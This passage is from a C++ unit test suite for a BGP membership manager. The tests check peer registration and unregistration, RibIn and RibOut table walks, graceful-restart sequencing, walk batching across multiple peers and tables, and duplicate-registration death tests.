TASK_UTIL_EXPECT_TRUE(mgr_->GetRegistrationInfo(peers_[0], gray_tbl_)); TASK_UTIL_EXPECT_EQ(3, mgr_->GetMembershipCount()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 1, blue_tbl_->walk_complete_count()); TASK_UTIL_EXPECT_EQ(red_walk_count + 1, red_tbl_->walk_complete_count()); TASK_UTIL_EXPECT_EQ(gray_walk_count + 1, gray_tbl_->walk_complete_count()); // Disable walker. SetWalkerDisable(true); Unregister(peers_[0], blue_tbl_); Unregister(peers_[0], red_tbl_); Unregister(peers_[0], gray_tbl_); task_util::WaitForIdle(); // Enable walker. SetWalkerDisable(false); TASK_UTIL_EXPECT_FALSE(mgr_->GetRegistrationInfo(peers_[0], blue_tbl_)); TASK_UTIL_EXPECT_FALSE(mgr_->GetRegistrationInfo(peers_[0], red_tbl_)); TASK_UTIL_EXPECT_FALSE(mgr_->GetRegistrationInfo(peers_[0], gray_tbl_)); TASK_UTIL_EXPECT_EQ(0, mgr_->GetMembershipCount()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 2, blue_tbl_->walk_complete_count()); TASK_UTIL_EXPECT_EQ(red_walk_count + 2, red_tbl_->walk_complete_count()); TASK_UTIL_EXPECT_EQ(gray_walk_count + 2, gray_tbl_->walk_complete_count()); } // // Verify register and unregister for RibIn only. // TEST_F(BgpMembershipTest, RibIn) { static const int kRouteCount = 8; uint64_t blue_walk_count = blue_tbl_->walk_complete_count(); RegisterRibIn(peers_[0], blue_tbl_); task_util::WaitForIdle(); TASK_UTIL_EXPECT_TRUE(mgr_->GetRegistrationInfo(peers_[0], blue_tbl_)); TASK_UTIL_EXPECT_EQ(1, mgr_->GetMembershipCount()); TASK_UTIL_EXPECT_EQ(blue_walk_count, blue_tbl_->walk_complete_count()); TASK_UTIL_EXPECT_EQ(0, peers_[0]->path_cb_count()); // Add paths from peer. for (int idx = 0; idx < kRouteCount; idx++) { AddRoute(peers_[0], blue_tbl_, BuildPrefix(idx), "192.168.1.0"); } task_util::WaitForIdle(); TASK_UTIL_EXPECT_EQ(kRouteCount, blue_tbl_->Size()); // Unregister RibIn. UnregisterRibIn(peers_[0], blue_tbl_); task_util::WaitForIdle(); TASK_UTIL_EXPECT_FALSE(mgr_->GetRegistrationInfo(peers_[0], blue_tbl_)); TASK_UTIL_EXPECT_EQ(0, mgr_->GetMembershipCount()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 1, blue_tbl_->walk_complete_count()); TASK_UTIL_EXPECT_EQ(kRouteCount, peers_[0]->path_cb_count()); // Delete paths from peer. // The paths would normally be deleted during RibIn walk by the client. for (int idx = 0; idx < kRouteCount; idx++) { DeleteRoute(peers_[0], blue_tbl_, BuildPrefix(idx)); } task_util::WaitForIdle(); TASK_UTIL_EXPECT_EQ(0, blue_tbl_->Size()); } // // Verify register and separate unregister for RibOut and RibIn when paths // have been added by peer. // TEST_F(BgpMembershipTest, UnregisterRibOutWithPaths) { static const int kRouteCount = 8; uint64_t blue_walk_count = blue_tbl_->walk_complete_count(); // Register. Register(peers_[0], blue_tbl_); task_util::WaitForIdle(); TASK_UTIL_EXPECT_TRUE(mgr_->GetRegistrationInfo(peers_[0], blue_tbl_)); TASK_UTIL_EXPECT_EQ(1, mgr_->GetMembershipCount()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 1, blue_tbl_->walk_complete_count()); // Add paths from peer. for (int idx = 0; idx < kRouteCount; idx++) { AddRoute(peers_[0], blue_tbl_, BuildPrefix(idx), "192.168.1.0"); } task_util::WaitForIdle(); TASK_UTIL_EXPECT_EQ(kRouteCount, blue_tbl_->Size()); // Unregister RibOut. UnregisterRibOut(peers_[0], blue_tbl_); task_util::WaitForIdle(); TASK_UTIL_EXPECT_TRUE(mgr_->GetRegistrationInfo(peers_[0], blue_tbl_)); TASK_UTIL_EXPECT_EQ(1, mgr_->GetMembershipCount()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 2, blue_tbl_->walk_complete_count()); TASK_UTIL_EXPECT_EQ(kRouteCount, peers_[0]->path_cb_count()); // Delete paths from peer. for (int idx = 0; idx < kRouteCount; idx++) { DeleteRoute(peers_[0], blue_tbl_, BuildPrefix(idx)); } task_util::WaitForIdle(); TASK_UTIL_EXPECT_EQ(0, blue_tbl_->Size()); // Unregister RibIn. UnregisterRibIn(peers_[0], blue_tbl_); task_util::WaitForIdle(); TASK_UTIL_EXPECT_FALSE(mgr_->GetRegistrationInfo(peers_[0], blue_tbl_)); TASK_UTIL_EXPECT_EQ(0, mgr_->GetMembershipCount()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 3, blue_tbl_->walk_complete_count()); } // // Verify sequence used in graceful restart i.e. register, then unregister for // RibOut and then register again. // TEST_F(BgpMembershipTest, GracefulRestart) { static const int kRouteCount = 8; uint64_t blue_walk_count = blue_tbl_->walk_complete_count(); // Register. Register(peers_[0], blue_tbl_); task_util::WaitForIdle(); TASK_UTIL_EXPECT_TRUE(mgr_->GetRegistrationInfo(peers_[0], blue_tbl_)); TASK_UTIL_EXPECT_EQ(1, mgr_->GetMembershipCount()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 1, blue_tbl_->walk_complete_count()); // Add paths from peer. for (int idx = 0; idx < kRouteCount; idx++) { AddRoute(peers_[0], blue_tbl_, BuildPrefix(idx), "192.168.1.0"); } task_util::WaitForIdle(); TASK_UTIL_EXPECT_EQ(kRouteCount, blue_tbl_->Size()); // Unregister RibOut. UnregisterRibOut(peers_[0], blue_tbl_); task_util::WaitForIdle(); TASK_UTIL_EXPECT_TRUE(mgr_->GetRegistrationInfo(peers_[0], blue_tbl_)); TASK_UTIL_EXPECT_EQ(1, mgr_->GetMembershipCount()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 2, blue_tbl_->walk_complete_count()); TASK_UTIL_EXPECT_EQ(kRouteCount, peers_[0]->path_cb_count()); // Register. Register(peers_[0], blue_tbl_); task_util::WaitForIdle(); TASK_UTIL_EXPECT_TRUE(mgr_->GetRegistrationInfo(peers_[0], blue_tbl_)); TASK_UTIL_EXPECT_EQ(1, mgr_->GetMembershipCount()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 3, blue_tbl_->walk_complete_count()); TASK_UTIL_EXPECT_EQ(kRouteCount, peers_[0]->path_cb_count()); // Delete paths from peer. for (int idx = 0; idx < kRouteCount; idx++) { DeleteRoute(peers_[0], blue_tbl_, BuildPrefix(idx)); } task_util::WaitForIdle(); TASK_UTIL_EXPECT_EQ(0, blue_tbl_->Size()); // Unregister. Unregister(peers_[0], blue_tbl_); task_util::WaitForIdle(); TASK_UTIL_EXPECT_FALSE(mgr_->GetRegistrationInfo(peers_[0], blue_tbl_)); TASK_UTIL_EXPECT_EQ(0, mgr_->GetMembershipCount()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 4, blue_tbl_->walk_complete_count()); } // // Verify WalkRibIn functionality. // TEST_F(BgpMembershipTest, WalkRibIn) { static const int kRouteCount = 8; uint64_t blue_walk_count = blue_tbl_->walk_complete_count(); // Register. Register(peers_[0], blue_tbl_); task_util::WaitForIdle(); TASK_UTIL_EXPECT_TRUE(mgr_->GetRegistrationInfo(peers_[0], blue_tbl_)); TASK_UTIL_EXPECT_EQ(1, mgr_->GetMembershipCount()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 1, blue_tbl_->walk_complete_count()); // Add paths from peer. for (int idx = 0; idx < kRouteCount; idx++) { AddRoute(peers_[0], blue_tbl_, BuildPrefix(idx), "192.168.1.0"); } task_util::WaitForIdle(); TASK_UTIL_EXPECT_EQ(kRouteCount, blue_tbl_->Size()); // Walk the blue table. WalkRibIn(peers_[0], blue_tbl_); task_util::WaitForIdle(); TASK_UTIL_EXPECT_EQ(blue_walk_count + 2, blue_tbl_->walk_complete_count()); TASK_UTIL_EXPECT_EQ(kRouteCount, peers_[0]->path_cb_count()); // Delete paths from peer. for (int idx = 0; idx < kRouteCount; idx++) { DeleteRoute(peers_[0], blue_tbl_, BuildPrefix(idx)); } task_util::WaitForIdle(); TASK_UTIL_EXPECT_EQ(0, blue_tbl_->Size()); // Unregister. Unregister(peers_[0], blue_tbl_); task_util::WaitForIdle(); TASK_UTIL_EXPECT_FALSE(mgr_->GetRegistrationInfo(peers_[0], blue_tbl_)); TASK_UTIL_EXPECT_EQ(0, mgr_->GetMembershipCount()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 3, blue_tbl_->walk_complete_count()); } // // Verify register/unregister of multiple peers to single table. // Register for peers should be combined into single table walk. // Unregister for peers should be combined into single table walk. // TEST_F(BgpMembershipTest, MultiplePeers1) { uint64_t blue_walk_count = blue_tbl_->walk_complete_count(); // Disable walker. SetWalkerDisable(true); // Register all peers. Register(peers_[0], blue_tbl_); Register(peers_[1], blue_tbl_); Register(peers_[2], blue_tbl_); task_util::WaitForIdle(); TASK_UTIL_EXPECT_EQ(1, GetWalkerQueueSize()); TASK_UTIL_EXPECT_EQ(blue_walk_count, blue_tbl_->walk_complete_count()); // Enable walker. SetWalkerDisable(false); task_util::WaitForIdle(); TASK_UTIL_EXPECT_EQ(0, GetWalkerQueueSize()); TASK_UTIL_EXPECT_TRUE(mgr_->GetRegistrationInfo(peers_[0], blue_tbl_)); TASK_UTIL_EXPECT_TRUE(mgr_->GetRegistrationInfo(peers_[1], blue_tbl_)); TASK_UTIL_EXPECT_TRUE(mgr_->GetRegistrationInfo(peers_[2], blue_tbl_)); TASK_UTIL_EXPECT_EQ(3, mgr_->GetMembershipCount()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 1, blue_tbl_->walk_complete_count()); // Disable walker. SetWalkerDisable(true); // Unregister all peers. Unregister(peers_[0], blue_tbl_); Unregister(peers_[1], blue_tbl_); Unregister(peers_[2], blue_tbl_); task_util::WaitForIdle(); TASK_UTIL_EXPECT_EQ(1, GetWalkerQueueSize()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 1, blue_tbl_->walk_complete_count()); // Enable walker. SetWalkerDisable(false); task_util::WaitForIdle(); TASK_UTIL_EXPECT_EQ(0, GetWalkerQueueSize()); TASK_UTIL_EXPECT_FALSE(mgr_->GetRegistrationInfo(peers_[0], blue_tbl_)); TASK_UTIL_EXPECT_FALSE(mgr_->GetRegistrationInfo(peers_[1], blue_tbl_)); TASK_UTIL_EXPECT_FALSE(mgr_->GetRegistrationInfo(peers_[2], blue_tbl_)); TASK_UTIL_EXPECT_EQ(0, mgr_->GetMembershipCount()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 2, blue_tbl_->walk_complete_count()); } // // Verify register/unregister of multiple peers to single table. // Register and unregister for peers should be combined into 1 table walk. // TEST_F(BgpMembershipTest, MultiplePeers2) { uint64_t blue_walk_count = blue_tbl_->walk_complete_count(); // Register first peer. Register(peers_[0], blue_tbl_); task_util::WaitForIdle(); TASK_UTIL_EXPECT_EQ(0, GetWalkerQueueSize()); TASK_UTIL_EXPECT_EQ(1, mgr_->GetMembershipCount()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 1, blue_tbl_->walk_request_count()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 1, blue_tbl_->walk_complete_count()); // Disable walker. SetWalkerDisable(true); // Register remaining peers and unregister first peer. Register(peers_[1], blue_tbl_); Register(peers_[2], blue_tbl_); Unregister(peers_[0], blue_tbl_); task_util::WaitForIdle(); TASK_UTIL_EXPECT_EQ(1, GetWalkerQueueSize()); TASK_UTIL_EXPECT_EQ(3, mgr_->GetMembershipCount()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 1, blue_tbl_->walk_request_count()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 1, blue_tbl_->walk_complete_count()); // Enable walker. SetWalkerDisable(false); task_util::WaitForIdle(); TASK_UTIL_EXPECT_EQ(0, GetWalkerQueueSize()); TASK_UTIL_EXPECT_EQ(2, mgr_->GetMembershipCount()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 2, blue_tbl_->walk_request_count()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 2, blue_tbl_->walk_complete_count()); // Disable walker. SetWalkerDisable(true); // Unregister remaining peers. Unregister(peers_[1], blue_tbl_); Unregister(peers_[2], blue_tbl_); task_util::WaitForIdle(); TASK_UTIL_EXPECT_EQ(1, GetWalkerQueueSize()); TASK_UTIL_EXPECT_EQ(2, mgr_->GetMembershipCount()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 2, blue_tbl_->walk_request_count()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 2, blue_tbl_->walk_complete_count()); // Enable walker. SetWalkerDisable(false); task_util::WaitForIdle(); TASK_UTIL_EXPECT_EQ(0, GetWalkerQueueSize()); TASK_UTIL_EXPECT_EQ(0, mgr_->GetMembershipCount()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 3, blue_tbl_->walk_request_count()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 3, blue_tbl_->walk_complete_count()); } // // Verify register/unregister of multiple peers to single table. // Register for remaining peers needs another table walk if walk has already // been started for some peers. // TEST_F(BgpMembershipTest, MultiplePeers3) { uint64_t blue_walk_count = blue_tbl_->walk_complete_count(); // Postpone walk. WalkerPostponeWalk(); // Register first peer. Register(peers_[0], blue_tbl_); task_util::WaitForIdle(); TASK_UTIL_EXPECT_EQ(0, GetWalkerQueueSize()); TASK_UTIL_EXPECT_EQ(blue_walk_count, blue_tbl_->walk_request_count()); TASK_UTIL_EXPECT_EQ(blue_walk_count, blue_tbl_->walk_complete_count()); // Register remaining peers. Register(peers_[1], blue_tbl_); Register(peers_[2], blue_tbl_); task_util::WaitForIdle(); TASK_UTIL_EXPECT_EQ(1, GetWalkerQueueSize()); TASK_UTIL_EXPECT_EQ(blue_walk_count, blue_tbl_->walk_request_count()); TASK_UTIL_EXPECT_EQ(blue_walk_count, blue_tbl_->walk_complete_count()); // Resume walk. WalkerResumeWalk(); task_util::WaitForIdle(); TASK_UTIL_EXPECT_EQ(0, GetWalkerQueueSize()); TASK_UTIL_EXPECT_EQ(3, mgr_->GetMembershipCount()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 2, blue_tbl_->walk_request_count()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 2, blue_tbl_->walk_complete_count()); // Disable walker. SetWalkerDisable(true); // Unregister all peers. Unregister(peers_[0], blue_tbl_); Unregister(peers_[1], blue_tbl_); Unregister(peers_[2], blue_tbl_); task_util::WaitForIdle(); TASK_UTIL_EXPECT_EQ(1, GetWalkerQueueSize()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 2, blue_tbl_->walk_request_count()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 2, blue_tbl_->walk_complete_count()); // Enable walker. SetWalkerDisable(false); task_util::WaitForIdle(); TASK_UTIL_EXPECT_EQ(0, GetWalkerQueueSize()); TASK_UTIL_EXPECT_EQ(0, mgr_->GetMembershipCount()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 3, blue_tbl_->walk_request_count()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 3, blue_tbl_->walk_complete_count()); } // // Verify register/unregister of multiple peers to single table. // Unregister for remaining peers needs another table walk if walk has already // been started for some peers. // TEST_F(BgpMembershipTest, MultiplePeers4) { uint64_t blue_walk_count = blue_tbl_->walk_complete_count(); // Disable walker. SetWalkerDisable(true); // Register all peers. Register(peers_[0], blue_tbl_); Register(peers_[1], blue_tbl_); Register(peers_[2], blue_tbl_); task_util::WaitForIdle(); TASK_UTIL_EXPECT_EQ(1, GetWalkerQueueSize()); TASK_UTIL_EXPECT_EQ(blue_walk_count, blue_tbl_->walk_complete_count()); // Enable walker. SetWalkerDisable(false); task_util::WaitForIdle(); TASK_UTIL_EXPECT_EQ(0, GetWalkerQueueSize()); TASK_UTIL_EXPECT_EQ(3, mgr_->GetMembershipCount()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 1, blue_tbl_->walk_request_count()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 1, blue_tbl_->walk_complete_count()); // Postpone walk. WalkerPostponeWalk(); task_util::WaitForIdle(); // Unregister first peer. Unregister(peers_[0], blue_tbl_); task_util::WaitForIdle(); TASK_UTIL_EXPECT_EQ(0, GetWalkerQueueSize()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 1, blue_tbl_->walk_request_count()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 1, blue_tbl_->walk_complete_count()); // Unregister remaining peers. Unregister(peers_[1], blue_tbl_); Unregister(peers_[2], blue_tbl_); task_util::WaitForIdle(); TASK_UTIL_EXPECT_EQ(1, GetWalkerQueueSize()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 1, blue_tbl_->walk_request_count()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 1, blue_tbl_->walk_complete_count()); // Resume walk. WalkerResumeWalk(); task_util::WaitForIdle(); TASK_UTIL_EXPECT_EQ(0, GetWalkerQueueSize()); TASK_UTIL_EXPECT_EQ(0, mgr_->GetMembershipCount()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 3, blue_tbl_->walk_request_count()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 3, blue_tbl_->walk_complete_count()); } // // Verify register/unregister for peers with different RibOuts is combined // into single table walk. // TEST_F(BgpMembershipTest, MultiplePeersDifferentRibOuts) { UpdatePeers(); uint64_t blue_walk_count = blue_tbl_->walk_complete_count(); // Disable walker. SetWalkerDisable(true); // Register all peers. Register(peers_[0], blue_tbl_); Register(peers_[1], blue_tbl_); Register(peers_[2], blue_tbl_); task_util::WaitForIdle(); TASK_UTIL_EXPECT_EQ(1, GetWalkerQueueSize()); TASK_UTIL_EXPECT_EQ(blue_walk_count, blue_tbl_->walk_request_count()); TASK_UTIL_EXPECT_EQ(blue_walk_count, blue_tbl_->walk_complete_count()); // Postpone walk. WalkerPostponeWalk(); // Enable walker. SetWalkerDisable(false); task_util::WaitForIdle(); TASK_UTIL_EXPECT_EQ(0, GetWalkerQueueSize()); TASK_UTIL_EXPECT_EQ(3, GetWalkerRibOutStateListSize()); TASK_UTIL_EXPECT_EQ(blue_walk_count, blue_tbl_->walk_request_count()); TASK_UTIL_EXPECT_EQ(blue_walk_count, blue_tbl_->walk_complete_count()); // Resume walk. WalkerResumeWalk(); task_util::WaitForIdle(); TASK_UTIL_EXPECT_EQ(0, GetWalkerQueueSize()); TASK_UTIL_EXPECT_EQ(0, GetWalkerRibOutStateListSize()); TASK_UTIL_EXPECT_EQ(3, mgr_->GetMembershipCount()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 1, blue_tbl_->walk_request_count()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 1, blue_tbl_->walk_complete_count()); // Disable walker. SetWalkerDisable(true); // Unregister all peers. Unregister(peers_[0], blue_tbl_); Unregister(peers_[1], blue_tbl_); Unregister(peers_[2], blue_tbl_); task_util::WaitForIdle(); TASK_UTIL_EXPECT_EQ(1, GetWalkerQueueSize()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 1, blue_tbl_->walk_request_count()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 1, blue_tbl_->walk_complete_count()); // Postpone walk. WalkerPostponeWalk(); // Enable walker. SetWalkerDisable(false); task_util::WaitForIdle(); TASK_UTIL_EXPECT_EQ(0, GetWalkerQueueSize()); TASK_UTIL_EXPECT_EQ(3, GetWalkerRibOutStateListSize()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 1, blue_tbl_->walk_request_count()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 1, blue_tbl_->walk_complete_count()); // Resume walk. WalkerResumeWalk(); task_util::WaitForIdle(); TASK_UTIL_EXPECT_EQ(0, GetWalkerQueueSize()); TASK_UTIL_EXPECT_EQ(0, GetWalkerRibOutStateListSize()); TASK_UTIL_EXPECT_EQ(0, mgr_->GetMembershipCount()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 2, blue_tbl_->walk_request_count()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 2, blue_tbl_->walk_complete_count()); } // // Verify WalkRibIn functionality for multiple peers. // Walk requests from multiple peers can be combined into single table walk. // TEST_F(BgpMembershipTest, MultiplePeersWalkRibIn) { static const int kRouteCount = 8; // Register all peers. Register(peers_[0], blue_tbl_); Register(peers_[1], blue_tbl_); Register(peers_[2], blue_tbl_); task_util::WaitForIdle(); TASK_UTIL_EXPECT_TRUE(IsWalkerQueueEmpty()); TASK_UTIL_EXPECT_EQ(3, mgr_->GetMembershipCount()); uint64_t blue_walk_count = blue_tbl_->walk_complete_count(); // Add paths from all peers. for (int idx = 0; idx < kRouteCount; idx++) { AddRoute(peers_[0], blue_tbl_, BuildPrefix(idx), "192.168.1.0"); AddRoute(peers_[1], blue_tbl_, BuildPrefix(idx), "192.168.1.1"); AddRoute(peers_[2], blue_tbl_, BuildPrefix(idx), "192.168.1.2"); } task_util::WaitForIdle(); TASK_UTIL_EXPECT_EQ(kRouteCount, blue_tbl_->Size()); // Disable walker. SetWalkerDisable(true); // Request walk for some peers. WalkRibIn(peers_[0], blue_tbl_); WalkRibIn(peers_[2], blue_tbl_); // Postpone walk. WalkerPostponeWalk(); // Enable walker. SetWalkerDisable(false); task_util::WaitForIdle(); TASK_UTIL_EXPECT_EQ(blue_walk_count, blue_tbl_->walk_request_count()); TASK_UTIL_EXPECT_EQ(blue_walk_count, blue_tbl_->walk_complete_count()); TASK_UTIL_EXPECT_EQ(2, GetWalkerPeerListSize()); // Resume walk. WalkerResumeWalk(); task_util::WaitForIdle(); TASK_UTIL_EXPECT_TRUE(IsWalkerQueueEmpty()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 1, blue_tbl_->walk_request_count()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 1, blue_tbl_->walk_complete_count()); TASK_UTIL_EXPECT_EQ(0, GetWalkerPeerListSize()); TASK_UTIL_EXPECT_EQ(kRouteCount, peers_[0]->path_cb_count()); TASK_UTIL_EXPECT_EQ(0, peers_[1]->path_cb_count()); TASK_UTIL_EXPECT_EQ(kRouteCount, peers_[2]->path_cb_count()); // Delete paths from all peers. for (int idx = 0; idx < kRouteCount; idx++) { DeleteRoute(peers_[0], blue_tbl_, BuildPrefix(idx)); DeleteRoute(peers_[1], blue_tbl_, BuildPrefix(idx)); DeleteRoute(peers_[2], blue_tbl_, BuildPrefix(idx)); } task_util::WaitForIdle(); TASK_UTIL_EXPECT_EQ(0, blue_tbl_->Size()); // Unregister all peers. Unregister(peers_[0], blue_tbl_); Unregister(peers_[1], blue_tbl_); Unregister(peers_[2], blue_tbl_); task_util::WaitForIdle(); TASK_UTIL_EXPECT_TRUE(IsWalkerQueueEmpty()); TASK_UTIL_EXPECT_EQ(0, mgr_->GetMembershipCount()); } // // Verify WalkRibIn functionality for multiple peers. // Walk requests from multiple peers and register from other peer is combined // into single table walk. // TEST_F(BgpMembershipTest, MultiplePeersWalkRibInRegister) { static const int kRouteCount = 8; // Register some peers. Register(peers_[0], blue_tbl_); Register(peers_[2], blue_tbl_); task_util::WaitForIdle(); TASK_UTIL_EXPECT_TRUE(IsWalkerQueueEmpty()); TASK_UTIL_EXPECT_EQ(2, mgr_->GetMembershipCount()); uint64_t blue_walk_count = blue_tbl_->walk_complete_count(); for (int idx = 0; idx < kRouteCount; idx++) { AddRoute(peers_[0], blue_tbl_, BuildPrefix(idx), "192.168.1.0"); AddRoute(peers_[2], blue_tbl_, BuildPrefix(idx), "192.168.1.2"); } task_util::WaitForIdle(); TASK_UTIL_EXPECT_EQ(kRouteCount, blue_tbl_->Size()); // Disable walker. SetWalkerDisable(true); // Request walk for registered peers. WalkRibIn(peers_[0], blue_tbl_); WalkRibIn(peers_[2], blue_tbl_); // Register another peer. Register(peers_[1], blue_tbl_); task_util::WaitForIdle(); // Postpone walk. WalkerPostponeWalk(); // Enable walker. SetWalkerDisable(false); task_util::WaitForIdle(); TASK_UTIL_EXPECT_EQ(blue_walk_count, blue_tbl_->walk_request_count()); TASK_UTIL_EXPECT_EQ(blue_walk_count, blue_tbl_->walk_complete_count()); TASK_UTIL_EXPECT_EQ(2, GetWalkerPeerListSize()); TASK_UTIL_EXPECT_EQ(3, GetWalkerPeerRibListSize()); // Resume walk. WalkerResumeWalk(); task_util::WaitForIdle(); TASK_UTIL_EXPECT_TRUE(IsWalkerQueueEmpty()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 1, blue_tbl_->walk_request_count()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 1, blue_tbl_->walk_complete_count()); TASK_UTIL_EXPECT_EQ(0, GetWalkerPeerListSize()); TASK_UTIL_EXPECT_EQ(0, GetWalkerPeerRibListSize()); TASK_UTIL_EXPECT_EQ(kRouteCount, peers_[0]->path_cb_count()); TASK_UTIL_EXPECT_EQ(0, peers_[1]->path_cb_count()); TASK_UTIL_EXPECT_EQ(kRouteCount, peers_[2]->path_cb_count()); for (int idx = 0; idx < kRouteCount; idx++) { DeleteRoute(peers_[0], blue_tbl_, BuildPrefix(idx)); DeleteRoute(peers_[2], blue_tbl_, BuildPrefix(idx)); } task_util::WaitForIdle(); TASK_UTIL_EXPECT_EQ(0, blue_tbl_->Size()); // Unregister all peers. Unregister(peers_[0], blue_tbl_); Unregister(peers_[1], blue_tbl_); Unregister(peers_[2], blue_tbl_); task_util::WaitForIdle(); TASK_UTIL_EXPECT_TRUE(IsWalkerQueueEmpty()); TASK_UTIL_EXPECT_EQ(0, mgr_->GetMembershipCount()); } // // Verify register/unregister for multiple peer in multiple tables. // TEST_F(BgpMembershipTest, MultiplePeersMultipleTable) { uint64_t blue_walk_count = blue_tbl_->walk_complete_count(); uint64_t red_walk_count = red_tbl_->walk_complete_count(); // Disable walker. SetWalkerDisable(true); // Register all peers. Register(peers_[0], blue_tbl_); Register(peers_[1], blue_tbl_); Register(peers_[2], blue_tbl_); Register(peers_[0], red_tbl_); Register(peers_[1], red_tbl_); Register(peers_[2], red_tbl_); task_util::WaitForIdle(); TASK_UTIL_EXPECT_EQ(2, GetWalkerQueueSize()); TASK_UTIL_EXPECT_EQ(blue_walk_count, blue_tbl_->walk_complete_count()); TASK_UTIL_EXPECT_EQ(red_walk_count, red_tbl_->walk_complete_count()); // Enable walker. SetWalkerDisable(false); task_util::WaitForIdle(); TASK_UTIL_EXPECT_EQ(0, GetWalkerQueueSize()); TASK_UTIL_EXPECT_TRUE(mgr_->GetRegistrationInfo(peers_[0], blue_tbl_)); TASK_UTIL_EXPECT_TRUE(mgr_->GetRegistrationInfo(peers_[1], blue_tbl_)); TASK_UTIL_EXPECT_TRUE(mgr_->GetRegistrationInfo(peers_[2], blue_tbl_)); TASK_UTIL_EXPECT_TRUE(mgr_->GetRegistrationInfo(peers_[0], red_tbl_)); TASK_UTIL_EXPECT_TRUE(mgr_->GetRegistrationInfo(peers_[1], red_tbl_)); TASK_UTIL_EXPECT_TRUE(mgr_->GetRegistrationInfo(peers_[2], red_tbl_)); TASK_UTIL_EXPECT_EQ(6, mgr_->GetMembershipCount()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 1, blue_tbl_->walk_complete_count()); TASK_UTIL_EXPECT_EQ(red_walk_count + 1, red_tbl_->walk_complete_count()); // Disable walker. SetWalkerDisable(true); // Unregister all peers. Unregister(peers_[0], blue_tbl_); Unregister(peers_[1], blue_tbl_); Unregister(peers_[2], blue_tbl_); Unregister(peers_[0], red_tbl_); Unregister(peers_[1], red_tbl_); Unregister(peers_[2], red_tbl_); task_util::WaitForIdle(); TASK_UTIL_EXPECT_EQ(2, GetWalkerQueueSize()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 1, blue_tbl_->walk_complete_count()); TASK_UTIL_EXPECT_EQ(red_walk_count + 1, red_tbl_->walk_complete_count()); // Enable walker. SetWalkerDisable(false); task_util::WaitForIdle(); TASK_UTIL_EXPECT_EQ(0, GetWalkerQueueSize()); TASK_UTIL_EXPECT_FALSE(mgr_->GetRegistrationInfo(peers_[0], blue_tbl_)); TASK_UTIL_EXPECT_FALSE(mgr_->GetRegistrationInfo(peers_[1], blue_tbl_)); TASK_UTIL_EXPECT_FALSE(mgr_->GetRegistrationInfo(peers_[2], blue_tbl_)); TASK_UTIL_EXPECT_FALSE(mgr_->GetRegistrationInfo(peers_[0], red_tbl_)); TASK_UTIL_EXPECT_FALSE(mgr_->GetRegistrationInfo(peers_[1], red_tbl_)); TASK_UTIL_EXPECT_FALSE(mgr_->GetRegistrationInfo(peers_[2], red_tbl_)); TASK_UTIL_EXPECT_EQ(0, mgr_->GetMembershipCount()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 2, blue_tbl_->walk_complete_count()); TASK_UTIL_EXPECT_EQ(red_walk_count + 2, red_tbl_->walk_complete_count()); } // // Duplicate register causes assertion. // Duplicate register happens after original is fully processed. // TEST_F(BgpMembershipTest, DuplicateRegister1DeathTest) { uint64_t blue_walk_count = blue_tbl_->walk_complete_count(); // Register to blue. Register(peers_[0], blue_tbl_); task_util::WaitForIdle(); TASK_UTIL_EXPECT_TRUE(mgr_->GetRegistrationInfo(peers_[0], blue_tbl_)); TASK_UTIL_EXPECT_EQ(1, mgr_->GetMembershipCount()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 1, blue_tbl_->walk_complete_count()); // Register to blue again. // Note that this happens only in the cloned/forked child. TASK_UTIL_EXPECT_DEATH(Register(peers_[0], blue_tbl_), ".*"); // Unregister from blue. Unregister(peers_[0], blue_tbl_); task_util::WaitForIdle(); } // // Duplicate register causes assertion. // Duplicate register happens before original is fully processed. // TEST_F(BgpMembershipTest, DuplicateRegister2DeathTest) { uint64_t blue_walk_count = blue_tbl_->walk_complete_count(); // Disable membership manager. SetQueueDisable(true); // Register to blue. Register(peers_[0], 